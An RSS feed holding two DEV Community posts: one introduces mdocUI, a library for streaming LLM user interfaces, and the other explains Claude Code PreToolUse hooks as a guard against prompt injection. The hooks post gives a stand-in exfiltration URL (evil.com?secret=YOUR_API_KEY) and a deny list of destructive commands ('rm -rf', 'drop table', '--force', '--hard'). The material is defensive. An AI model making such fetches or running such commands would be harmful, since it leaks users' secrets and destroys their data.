<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhay</title>
    <description>The latest articles on DEV Community by Abhay (@abhaygawade).</description>
    <link>https://dev.to/abhaygawade</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F55384%2Feb0134b1-0e2d-4466-948e-95436bbb5bc8.jpeg</url>
      <title>DEV Community: Abhay</title>
      <link>https://dev.to/abhaygawade</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abhaygawade"/>
    <language>en</language>
    <item>
      <title>Why Markdoc for LLM Streaming UI</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Fri, 03 Apr 2026 13:10:12 +0000</pubDate>
      <link>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</link>
      <guid>https://dev.to/abhaygawade/why-markdoc-for-llm-streaming-ui-3m26</guid>
      <description>&lt;p&gt;Every AI chatbot I've built hits the same wall.&lt;/p&gt;

&lt;p&gt;The LLM writes beautiful markdown — headings, bold, lists, code blocks. Then someone asks for a chart. Or a form. Or a data table with sortable columns.&lt;/p&gt;

&lt;p&gt;Suddenly you need a component rendering layer. And every approach has tradeoffs.&lt;/p&gt;

&lt;p&gt;That's why I built mdocUI: a streaming-first generative UI library that lets LLMs mix markdown and interactive components in one output stream.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;JSON blocks in markdown&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams embed JSON in fenced code blocks:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Here's your revenue data:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;```json:chart
{"type": "bar", "labels": ["Q1", "Q2", "Q3"], "values": [120, 150, 180]}
```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works until you're streaming. A JSON object that arrives token-by-token is invalid JSON until the closing brace lands. You either buffer the entire block (killing the streaming experience) or parse incomplete JSON (fragile).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JSX in markdown&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="nx"&gt;Here&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s your data:

&amp;lt;Chart type="bar" labels={["Q1", "Q2", "Q3"]} values={[120, 150, 180]} /&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Models get confused. They mix HTML attributes with JSX props. They forget to close tags. The &lt;code&gt;&amp;lt;&lt;/code&gt; character appears everywhere in normal text, making streaming parsing ambiguous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom DSLs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some teams invent their own syntax — &lt;code&gt;[[chart:bar:Q1=120,Q2=150]]&lt;/code&gt; or similar. Now you're training the model on a format it's never seen, burning tokens on format instructions, and maintaining a custom parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Markdoc Tag Syntax
&lt;/h2&gt;

&lt;p&gt;Markdoc is a documentation framework created by Stripe. It extends markdown with custom tag delimiters. In this article, I’ll show them as &lt;code&gt;[% %]&lt;/code&gt; so Dev.to doesn’t try to parse them as Liquid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Here's your revenue data:

[% chart type="bar" labels=["Q1","Q2","Q3"] values=[120,150,180] /%]

Revenue grew 12% quarter-over-quarter.

[% button action="continue" label="Show by region" /%]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three properties make this tag syntax ideal for LLM streaming:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unambiguous delimiter&lt;/strong&gt; — the opening sequence is something you would never expect in normal prose, standard markdown, or fenced code blocks. A streaming parser can detect it without lookahead or backtracking.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Models already know it&lt;/strong&gt; — Markdoc is in training data (Stripe docs, Cloudflare docs). Models write it correctly without extensive format instructions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prose and components coexist&lt;/strong&gt; — no mode switching. The LLM writes markdown and drops components wherever they fit. The parser separates them as tokens arrive.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How mdocUI Works
&lt;/h2&gt;

&lt;p&gt;mdocUI borrows only the tag syntax from Markdoc. We built our own streaming parser from scratch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LLM tokens → Tokenizer → StreamingParser → ComponentRegistry → Renderer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tokenizer is a character-by-character state machine with three states: &lt;code&gt;IN_PROSE&lt;/code&gt;, &lt;code&gt;IN_TAG&lt;/code&gt;, &lt;code&gt;IN_STRING&lt;/code&gt;. As tokens arrive, it separates prose from component tags.&lt;/p&gt;

&lt;p&gt;The ComponentRegistry validates tag names and props against Zod schemas. Invalid tags get error boundaries, not crashes.&lt;/p&gt;

&lt;p&gt;The Renderer maps AST nodes to React components. Every component is theme-neutral — &lt;code&gt;currentColor&lt;/code&gt;, &lt;code&gt;inherit&lt;/code&gt;, no hardcoded colors. Swap any component with your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm add @mdocui/core @mdocui/react
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;generatePrompt&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Renderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;defaultComponents&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@mdocui/react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createDefaultRegistry&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Auto-generate system prompt from your component registry&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;systemPrompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generatePrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;registry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;preamble&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You are a helpful assistant.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;defaultGroups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="c1"&gt;// In your React component&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Chat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRenderer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;registry&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Renderer&lt;/span&gt;
      &lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;nodes&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;components&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;defaultComponents&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;isStreaming&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;onAction&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;24 components are included: chart, table, stat, card, grid, tabs, form, button, callout, accordion, progress, badge, image, code-block, and more.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;mdocUI is alpha (0.6.x). The API is stabilizing. We're working on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vue, Svelte, and Solid renderers&lt;/li&gt;
&lt;li&gt;Vercel AI SDK useChat bridge&lt;/li&gt;
&lt;li&gt;Browser devtools for AST inspection&lt;/li&gt;
&lt;li&gt;VS Code extension for Markdoc-style tag syntax highlighting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Try the playground: &lt;a href="https://mdocui.vercel.app" rel="noopener noreferrer"&gt;https://mdocui.vercel.app&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/mdocui/mdocui" rel="noopener noreferrer"&gt;https://github.com/mdocui/mdocui&lt;/a&gt;&lt;br&gt;
Docs: &lt;a href="https://mdocui.github.io" rel="noopener noreferrer"&gt;https://mdocui.github.io&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Feedback, issues, and PRs welcome.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>react</category>
      <category>typescript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks</title>
      <dc:creator>Abhay</dc:creator>
      <pubDate>Tue, 31 Mar 2026 06:48:59 +0000</pubDate>
      <link>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</link>
      <guid>https://dev.to/abhaygawade/claude-code-auto-approve-tools-while-keeping-a-safety-net-with-hooks-4839</guid>
      <description>&lt;p&gt;Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?&lt;/p&gt;

&lt;p&gt;You can. But there's a catch: &lt;strong&gt;WebFetch can send data in query parameters.&lt;/strong&gt; A prompt injection buried in a file could trick Claude into fetching &lt;code&gt;https://evil.com?secret=YOUR_API_KEY&lt;/code&gt;. Auto-approving everything means you'd never see it happen.&lt;/p&gt;

&lt;p&gt;Here's how I set up a middle ground: &lt;strong&gt;auto-allow clean URLs, but show a confirmation prompt when query parameters are present.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The naive approach (don't do this)
&lt;/h2&gt;

&lt;p&gt;You might think adding WebFetch to permissions is enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;~/.claude/settings.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works — but it auto-allows &lt;em&gt;everything&lt;/em&gt;, including &lt;code&gt;https://evil.com?token=abc123&lt;/code&gt;. No safety net.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hook approach (do this instead)
&lt;/h2&gt;

&lt;p&gt;Claude Code has a &lt;code&gt;PreToolUse&lt;/code&gt; hook system. A hook runs before every tool call and can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exit 0&lt;/strong&gt; — silently allow (no prompt)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 1&lt;/strong&gt; — show a message and ask for confirmation (approve/deny)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exit 2&lt;/strong&gt; — hard block (no option to proceed)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hook receives the full tool call as JSON via &lt;strong&gt;stdin&lt;/strong&gt; — tool name, input parameters, session ID, everything.&lt;/p&gt;

&lt;p&gt;Here's the setup in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"statusMessage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Checking WebFetch URL for query params..."&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. One hook, zero dependencies.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this does
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://docs.python.org/3/library/json.html&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Auto-allowed, no prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://api.example.com/data?key=secret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shows URL, asks you to approve or deny&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When a URL has query params, you'll see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;URL has query params, review: https://api.example.com/data?key=secret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works under the hood
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;PreToolUse&lt;/code&gt; hook receives JSON on stdin with this structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"session_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"abc-123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hook_event_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool_input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/page?q=test"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"prompt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Summarize this page"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Python one-liner:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reads the JSON from stdin&lt;/li&gt;
&lt;li&gt;Extracts the URL from &lt;code&gt;tool_input.url&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Checks if &lt;code&gt;?&lt;/code&gt; is present&lt;/li&gt;
&lt;li&gt;Exits with 1 (ask) or 0 (allow)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Gotcha: &lt;code&gt;permissions.allow&lt;/code&gt; overrides hooks
&lt;/h2&gt;

&lt;p&gt;This tripped me up. If you add WebFetch to both &lt;code&gt;permissions.allow&lt;/code&gt; AND set up a hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"WebFetch"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PreToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The hook never fires.&lt;/strong&gt; &lt;code&gt;permissions.allow&lt;/code&gt; takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha: stdin, not environment variables
&lt;/h2&gt;

&lt;p&gt;Hook input comes via &lt;strong&gt;stdin&lt;/strong&gt;, not an environment variable. I initially tried &lt;code&gt;os.environ.get('ARGUMENTS')&lt;/code&gt; — it was empty. The correct approach is &lt;code&gt;json.load(sys.stdin)&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Going further
&lt;/h2&gt;

&lt;p&gt;You can apply this pattern to other tools too. Some ideas:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bash command guard&lt;/strong&gt; — ask before running destructive commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python3 -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



